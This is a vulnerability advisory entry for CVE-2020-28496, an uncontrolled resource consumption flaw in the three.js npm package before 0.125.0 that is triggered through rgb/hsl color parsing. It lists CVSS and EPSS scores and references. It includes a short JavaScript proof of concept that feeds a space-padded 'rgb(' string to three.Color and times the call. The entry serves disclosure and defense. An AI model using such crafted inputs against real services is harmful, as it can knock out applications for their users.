CVE-2020-28496

HIGH

three < 0.125.0 - Uncontrolled Resource Consumption via RGB/HSL Color Parsing

Title source: llm
STIX 2.1

Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

References (4)

Core 4
Core References
Exploit, Third Party Advisory x_refsource_misc
https://snyk.io/vuln/SNYK-JS-THREE-1064931
Exploit, Third Party Advisory x_refsource_misc
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972
Exploit, Issue Tracking, Third Party Advisory x_refsource_misc
https://github.com/mrdoob/three.js/issues/21132

Scores

CVSS v3 7.5
EPSS 0.0252
EPSS Percentile 82.8%
Attack Vector NETWORK
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Details

CWE
CWE-400
Status published
Products (2)
npm/three 0 - 0.125.0npm
three_project/three < 0.125.0
Published Feb 18, 2021
Tracked Since Feb 18, 2026